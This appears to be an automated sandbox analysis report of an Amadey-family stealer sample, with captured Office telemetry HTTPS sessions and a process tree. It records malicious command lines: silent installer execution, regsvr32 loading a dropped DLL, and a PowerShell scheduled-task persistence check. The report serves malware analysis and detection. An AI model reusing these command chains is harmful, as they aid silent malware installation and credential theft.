2024-11-21 02:09:30 UTC	192	OUT	GET /rules/rule700900v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 02:09:30 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 02:09:30 GMT Content-Type: text/xml Content-Length: 1371 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:06 GMT ETag: "0x8DC582BED3D048D" x-ms-request-id: 270c322f-601e-00ab-4d8c-3a66f4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T020930Z-1777c6cb7549x5qchC1TEBggbg0000000ag000000000e2tp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 02:09:30 UTC	1371	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 39 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4e 61 74 75 72 61 6c 4c 61 6e 67 75 61 67 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 6f 66 69 6e 67 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700900" V="1" DC="SM" EN="Office.Telemetry.Event.Office.NaturalLanguage" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProofing" S="Medium" /> <F

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.5	49858	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 02:09:30 UTC	192	OUT	GET /rules/rule700901v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 02:09:30 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 02:09:30 GMT Content-Type: text/xml Content-Length: 1408 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1038EF2" x-ms-request-id: 1ebeca68-b01e-0002-5b8c-3a1b8f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T020930Z-178bfbc474bxkclvhC1NYC69g400000000u0000000008cqx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 02:09:30 UTC	1408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 39 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4e 61 74 75 72 61 6c 4c 61 6e 67 75 61 67 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700901" V="1" DC="SM" EN="Office.Telemetry.Event.Office.NaturalLanguage.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.5	49862	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 02:09:30 UTC	192	OUT	GET /rules/rule702250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 02:09:30 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 02:09:30 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDD0A87E5" x-ms-request-id: 8b2edf8e-301e-0020-5e64-3b6299000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T020930Z-178bfbc474bh5zbqhC1NYCkdug00000000r000000000pc61 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 02:09:30 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4d 4c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4d 4c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.ML" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenML" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.5	49861	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 02:09:30 UTC	192	OUT	GET /rules/rule702251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 02:09:30 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 02:09:30 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE0F427E7" x-ms-request-id: 3f34169e-201e-006e-177c-3bbbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T020930Z-1777c6cb754dqb2khC1TEBmk1s0000000aag00000000qpdr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 02:09:30 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4d 4c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4d 4c 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.ML.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenML" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.5	49863	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 02:09:30 UTC	192	OUT	GET /rules/rule702651v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 02:09:30 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 02:09:30 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDEC600CC" x-ms-request-id: 881379a8-d01e-0065-64a0-3bb77a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T020930Z-r1d97b99577ndm4rhC1TEBf0ps00000009u000000000cf99 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 02:09:30 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 36 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4d 65 64 69 61 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4d 65 64 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702651" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Media.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenMedi

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.5	49867	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 02:09:32 UTC	192	OUT	GET /rules/rule703100v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 02:09:32 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 02:09:32 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:04 GMT ETag: "0x8DC582BEBCD5699" x-ms-request-id: 9d600d61-e01e-0099-04b3-3bda8a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T020932Z-1777c6cb754vxwc9hC1TEBykgw0000000ac000000000ntqt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 02:09:32 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 31 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4d 41 54 53 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4d 41 54 53 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703100" V="1" DC="SM" EN="Office.Telemetry.Event.Office.MATS" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenMATS" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.5	49866	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 02:09:32 UTC	192	OUT	GET /rules/rule703101v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 02:09:32 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 02:09:32 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE0F93037" x-ms-request-id: 7916e896-401e-0035-0b67-3b82d8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T020932Z-1777c6cb7544nvmshC1TEBf7qc0000000aa00000000069kc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 02:09:32 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 31 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4d 41 54 53 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4d 41 54 53 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703101" V="1" DC="SM" EN="Office.Telemetry.Event.Office.MATS.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenMATS"

Target ID:	0
Start time:	21:08:06
Start date:	20/11/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x530000
File size:	1'908'736 bytes
MD5 hash:	35D1C1965ED05D18F6D96F235A43A275
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000003.2102169941.0000000004B50000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000002.2142522636.0000000000531000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	21:08:08
Start date:	20/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0x9f0000
File size:	1'908'736 bytes
MD5 hash:	35D1C1965ED05D18F6D96F235A43A275
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000002.00000003.2121687435.0000000004A70000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000002.00000002.2162232766.00000000009F1000.00000040.00000001.01000000.00000008.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	21:08:09
Start date:	20/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x9f0000
File size:	1'908'736 bytes
MD5 hash:	35D1C1965ED05D18F6D96F235A43A275
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000003.00000003.2131243243.0000000005100000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000003.00000002.2171904450.00000000009F1000.00000040.00000001.01000000.00000008.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	21:09:00
Start date:	20/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x9f0000
File size:	1'908'736 bytes
MD5 hash:	35D1C1965ED05D18F6D96F235A43A275
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000006.00000003.2638498819.0000000005060000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	21:09:16
Start date:	20/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1007819001\ce23dfc9e9.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1007819001\ce23dfc9e9.exe"
Imagebase:	0xa70000
File size:	4'366'848 bytes
MD5 hash:	580E5E0360775B95AB367AC5B849B95A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 34%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	21:09:25
Start date:	20/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1007820001\SillyShelf.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1007820001\SillyShelf.exe"
Imagebase:	0x7ff6068e0000
File size:	1'769'630 bytes
MD5 hash:	FECD099F9B8D9500D7199A1054397E3F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Antivirus matches:	Detection: 0%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	21:09:25
Start date:	20/11/2024
Path:	C:\Users\user\AppData\Local\Temp\is-IMT14.tmp\SillyShelf.tmp
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\is-IMT14.tmp\SillyShelf.tmp" /SL5="$80070,1389145,140800,C:\Users\user\AppData\Local\Temp\1007820001\SillyShelf.exe"
Imagebase:	0x400000
File size:	1'160'704 bytes
MD5 hash:	14C6FA8E50B4147075EB922BD0C8B28D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Antivirus matches:	Detection: 2%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	21:09:25
Start date:	20/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"cmd.exe" /C timeout /T 3 & "C:\Users\user\AppData\Local\Temp\1007820001\SillyShelf.exe" /VERYSILENT /SUPPRESSMSGBOXES
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	21:09:25
Start date:	20/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	21:09:25
Start date:	20/11/2024
Path:	C:\Windows\SysWOW64\timeout.exe
Wow64 process (32bit):	true
Commandline:	timeout /T 3
Imagebase:	0x820000
File size:	25'088 bytes
MD5 hash:	976566BEEFCCA4A159ECBDB2D4B1A3E3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	21:09:28
Start date:	20/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1007820001\SillyShelf.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1007820001\SillyShelf.exe" /VERYSILENT /SUPPRESSMSGBOXES
Imagebase:	0x400000
File size:	1'769'630 bytes
MD5 hash:	FECD099F9B8D9500D7199A1054397E3F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	21:09:28
Start date:	20/11/2024
Path:	C:\Users\user\AppData\Local\Temp\is-1H0JR.tmp\SillyShelf.tmp
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\is-1H0JR.tmp\SillyShelf.tmp" /SL5="$2044A,1389145,140800,C:\Users\user\AppData\Local\Temp\1007820001\SillyShelf.exe" /VERYSILENT /SUPPRESSMSGBOXES
Imagebase:	0x400000
File size:	1'160'704 bytes
MD5 hash:	14C6FA8E50B4147075EB922BD0C8B28D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Antivirus matches:	Detection: 2%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	21:09:29
Start date:	20/11/2024
Path:	C:\Windows\SysWOW64\regsvr32.exe
Wow64 process (32bit):	true
Commandline:	"regsvr32.exe" /s /i:INSTALL "C:\Users\user\AppData\Roaming\\PoisedCoyote.dll"
Imagebase:	0x240000
File size:	20'992 bytes
MD5 hash:	878E47C8656E53AE8A8A21E927C6F7E0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	16
Start time:	21:09:29
Start date:	20/11/2024
Path:	C:\Windows\System32\regsvr32.exe
Wow64 process (32bit):	false
Commandline:	/s /i:INSTALL "C:\Users\user\AppData\Roaming\\PoisedCoyote.dll"
Imagebase:	0x7ff79bf80000
File size:	25'088 bytes
MD5 hash:	B0C2FA35D14A9FAD919E99D9D75E1B9E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	17
Start time:	21:09:33
Start date:	20/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe"
Imagebase:	0xe50000
File size:	1'864'704 bytes
MD5 hash:	896B70EC58CD9C07E6F54178C959B1AB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000011.00000003.3219279190.0000000000AEC000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000011.00000003.3173428242.0000000000AEC000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000011.00000003.3245612427.0000000000AED000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000011.00000003.3174767905.0000000000AEC000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000011.00000003.3173346286.0000000000ADB000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000011.00000003.3076592004.0000000000AEC000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000011.00000003.3126764052.0000000000ADB000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000011.00000003.3076217937.0000000000ADB000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000011.00000003.3217338476.0000000000ADB000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000011.00000003.3129023930.0000000000AEC000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000011.00000003.3131692254.0000000000AED000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Has exited:	false

Show Windows behavior

Target ID:	18
Start time:	21:09:35
Start date:	20/11/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"powershell" -Command "if (Get-ScheduledTask \| Where-Object { $_.Actions.Execute -eq 'regsvr32' -and $_.Actions.Arguments -eq '/S /i:INSTALL C:\Users\user\AppData\Roaming\PoisedCoyote.dll' }) { exit 0 } else { exit 1 }"
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	21:09:35
Start date:	20/11/2024
Path:	C:\Windows\System32\conhost.exe
